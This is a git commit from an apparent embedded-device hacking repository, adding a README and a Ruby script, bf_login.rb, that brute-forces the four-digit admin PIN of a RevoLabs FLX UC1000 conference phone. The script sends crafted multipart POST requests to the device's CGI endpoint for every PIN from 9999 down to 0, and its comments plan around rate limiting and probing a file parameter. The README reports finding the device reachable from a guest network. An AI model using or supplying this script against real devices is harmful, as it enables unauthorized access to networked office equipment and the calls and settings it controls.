initial revolabs flx UC1000 commit
This commit is contained in:
parent
e7ce29f4d4
commit
d024a7dfcc
@ -1,2 +1,9 @@
|
||||
# h4ck
|
||||
collection of writeups and tools related to ~embedded device ~hacking
|
||||
a collection of writeups and tools related to ~embedded device ~hacking
|
||||
|
||||
shiny devices are fun, finding and poking holes in to their interface is a _lot_ of fun
|
||||
|
||||
## devices
|
||||
name | description | url
|
||||
-----|-------------|-----
|
||||
[RevoLabs flx UC1000](http://www.revolabs.com/products/conference-phones/wired-conference-phones/flx-uc-phones/flx-uc-1000-speakerphone)|brute forcing the PIN|[revolabs-flx_uc_1000](revolabs-flx_uc_100)
|
11
revolabs-flx_uc_1000/README.md
Normal file
11
revolabs-flx_uc_1000/README.md
Normal file
@ -0,0 +1,11 @@
|
||||
# revolabs flx UC1000
|
||||
|
||||
found this device in a conference room, found the IP from an unauthenticated menu on the dialer, and it was accessible from the 'Guest' network. it also has USB ports, so potentially available without network access.
|
||||
|
||||
## story time
|
||||
|
||||
|
||||
|
||||
## tools
|
||||
name | description
|
||||
[bf_login.rb](bf_login.rb)| brute forces the PIN on the web interface
|
120
revolabs-flx_uc_1000/bf_login.rb
Normal file
120
revolabs-flx_uc_1000/bf_login.rb
Normal file
@ -0,0 +1,120 @@
|
||||
#!/usr/bin/env ruby
|
||||
## bf_login.rb - brute force the login for the revolabs flx UC 1000
|
||||
#
|
||||
# http://<device>/app/app.js exposes:
|
||||
# sys.password:
|
||||
# - defaultVal: "7386",
|
||||
# - pattern: /^(\d{4,})$/,
|
||||
#
|
||||
# so when the default works, we only have to try 9998 other possibilities
|
||||
|
||||
require 'json'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
# return a Net::HTTP::Post request suitable for validating +pin+
|
||||
def get_request(uri, pin)
|
||||
request = Net::HTTP::Post.new(uri.request_uri)
|
||||
request['Accept'] = 'application/json, text/plain, */*'
|
||||
request['Accept-Encoding'] = 'gzip, deflate'
|
||||
request['Accept-Language'] = 'en-US,en;q=0.8'
|
||||
request['Connection'] = 'keep-alive'
|
||||
request['Content-Type'] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
|
||||
request['Origin'] = sprintf('http://%s', uri.host)
|
||||
request['Referer'] = sprintf('http://%s/login', uri.host)
|
||||
request['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
|
||||
|
||||
# TODO saying there is a cookie set, but we're def not authed.. do we need to rotate this to avoid rate limiting?
|
||||
request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i)
|
||||
|
||||
body = Array.new
|
||||
|
||||
body << '-----------------------------7da24f2e50046' # TODO is this a magic number or randomly generated? or?
|
||||
body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
|
||||
body << 'Content-type: plain/text'
|
||||
body << '' # newline
|
||||
body << sprintf('<properties sys.validate-password="%s"/>', pin)
|
||||
body << '-----------------------------7da24f2e50046'
|
||||
|
||||
request.body = body.join("\n")
|
||||
request
|
||||
end
|
||||
|
||||
# return a Net::HTTP::Response object
|
||||
def check_pin(url, pin)
|
||||
|
||||
uri = URI.parse(url)
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
|
||||
request = get_request(uri, pin)
|
||||
http.request(request)
|
||||
end
|
||||
|
||||
#
|
||||
## main()
|
||||
|
||||
address = ARGV.pop
|
||||
errors = Array.new
|
||||
responses = Array.new
|
||||
output = sprintf('%s-logs.%s.%s.json', __FILE__, Time.now.to_i, $$)
|
||||
|
||||
if address.nil?
|
||||
puts sprintf('usage: %s <address>', __FILE__)
|
||||
exit 1
|
||||
end
|
||||
|
||||
9999.downto(0) do |i|
|
||||
# TODO we should prioritize 0000, 1234, etc
|
||||
|
||||
pin = sprintf('%04d', i)
|
||||
|
||||
begin
|
||||
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address)
|
||||
|
||||
puts sprintf('trying pin[%s]', pin)
|
||||
|
||||
response = check_pin(url, pin)
|
||||
|
||||
# TODO need to do some inspection on the responses to find the difference
|
||||
responses << response
|
||||
|
||||
# TODO need to do some handling on the rate limiting that is almost certain to follow, this is a bit blind
|
||||
sleep 1 if (i % 100).eql?(0)
|
||||
|
||||
rescue => e
|
||||
puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
|
||||
errors << { :exception => e, :pin => pin }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# marshalling the data, at least until we know what we're looking for
|
||||
begin
|
||||
|
||||
content = Array.new
|
||||
responses.each do |response|
|
||||
hash = {
|
||||
:code => response.code,
|
||||
:body => response.body,
|
||||
:size => response.body.size,
|
||||
}
|
||||
|
||||
content << hash
|
||||
end
|
||||
|
||||
File.open(output, 'w') do |fh|
|
||||
fh.print(JSON.pretty_generate(content))
|
||||
end
|
||||
|
||||
puts sprintf('SUCCESS: wrote output to[%s]', output)
|
||||
rescue => e
|
||||
puts sprintf('ERROR: [%s]: %s[%s]', e.message, "\n", e.backtrace.join("\n"))
|
||||
end
|
||||
|
||||
# TODO something better here
|
||||
errors.each do |e|
|
||||
puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception])
|
||||
end
|
||||
|
||||
puts sprintf('ERROR: [%d] total errors', errors.size)
|
||||
exit 1 unless errors.empty?
|
Loading…
Reference in New Issue
Block a user